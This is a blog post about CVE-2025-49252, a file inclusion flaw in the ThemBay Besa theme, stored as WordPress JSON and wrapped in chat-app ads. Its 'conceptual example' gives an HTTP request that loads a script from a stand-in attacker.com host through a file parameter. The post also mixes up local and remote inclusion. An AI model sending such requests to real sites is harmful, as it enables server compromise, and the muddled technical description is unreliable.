{"id":55424,"date":"2025-06-27T10:11:55","date_gmt":"2025-06-27T10:11:55","guid":{"rendered":""},"modified":"2025-10-21T17:37:24","modified_gmt":"2025-10-21T23:37:24","slug":"cve-2025-49252-php-local-file-inclusion-vulnerability-in-thembay-besa","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49252-php-local-file-inclusion-vulnerability-in-thembay-besa\/","title":{"rendered":"<strong>CVE-2025-49252: PHP Local File Inclusion Vulnerability in ThemBay Besa<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The identified vulnerability, CVE-2025-49252, is a serious cybersecurity flaw that affects the PHP program in ThemBay&#8217;s Besa. This vulnerability, also known as &#8216;PHP Remote File Inclusion,&#8217; allows unauthorized actors to include local files in PHP programs, potentially leading to system compromise or data leakage. With a CVSS Severity Score of 8.1, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-10057-remote-code-execution-vulnerability-in-wp-import-ultimate-csv-xml-importer-for-wordpress-plugin\/\"  data-wpil-monitor-id=\"90923\">vulnerability is of high importance<\/a> and demands immediate attention from those using affected versions of Besa.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49252<br \/>\nSeverity: High (CVSS:8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49415-path-traversal-vulnerability-in-fw-gallery-with-potential-for-system-compromise\/\"  data-wpil-monitor-id=\"62502\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-366564503\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Thembay Besa | Through 2.3.8<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47167-microsoft-office-type-confusion-vulnerability-leading-to-unauthorized-local-code-execution\/\"  data-wpil-monitor-id=\"61763\">Local File Inclusion vulnerability<\/a> occurs due to improper control of the filename for Include\/Require Statement in a PHP Program. An attacker can remotely inject a file from a server-side script, which, when executed, can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32717-heap-based-buffer-overflow-in-microsoft-office-word-leading-to-unauthorized-code-execution\/\"  data-wpil-monitor-id=\"61830\">lead to unauthorized<\/a> system access or data leakage. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6454-authenticated-user-exploit-in-gitlab-ce-ee-through-proxy-environments\/\"  data-wpil-monitor-id=\"90780\">exploit doesn&#8217;t require user<\/a> interaction, making it particularly dangerous.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-799397066\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how an attacker might exploit this vulnerability. This is a sample <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6162-critical-buffer-overflow-vulnerability-in-totolink-ex1200t-http-post-request-handler\/\"  data-wpil-monitor-id=\"62300\">HTTP request<\/a>, where the attacker injects a malicious payload into the PHP script.<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: vulnerable-website.com<\/code><\/pre>\n<p>In this example, `http:\/\/attacker.com\/malicious_script.txt` is the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7390-malicious-client-bypass-of-opc-https-server-certificate-trust-check\/\"  data-wpil-monitor-id=\"81881\">malicious file hosted on the attacker&#8217;s server<\/a>. When the server-side script executes this request, it will include the malicious file, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49847-buffer-overflow-vulnerability-in-llama-cpp-leading-to-potential-code-execution\/\"  data-wpil-monitor-id=\"62623\">leading to potential<\/a> system compromise or data leakage.<\/p>\n<p><strong>Mitigation Steps<\/strong><\/p>\n<p>The most immediate mitigation step is to apply the vendor-supplied patch. In the absence of such a patch, a temporary mitigation could be implemented through the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These systems can filter out malicious requests, thereby <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49155-uncontrolled-search-path-vulnerability-in-trend-micro-apex-one-data-loss-prevention-module\/\"  data-wpil-monitor-id=\"62501\">preventing the exploitation of this vulnerability<\/a>. Despite this, patching remains the most effective and permanent solution.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The identified vulnerability, CVE-2025-49252, is a serious cybersecurity flaw that affects the PHP program in ThemBay&#8217;s Besa. This vulnerability, also known as &#8216;PHP Remote File Inclusion,&#8217; allows unauthorized actors to include local files in PHP programs, potentially leading to system compromise or data leakage. With a CVSS Severity Score of 8.1, this vulnerability is [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-55424","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55424","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=55424"}],"version-history":[{"count":8,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55424\/revisions"}],"predecessor-version":[{"id":83868,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55424\/revisions\/83868"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=55424"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=55424"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=55424"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=55424"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=55424"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=55424"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=55424"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=55424"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=55424"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}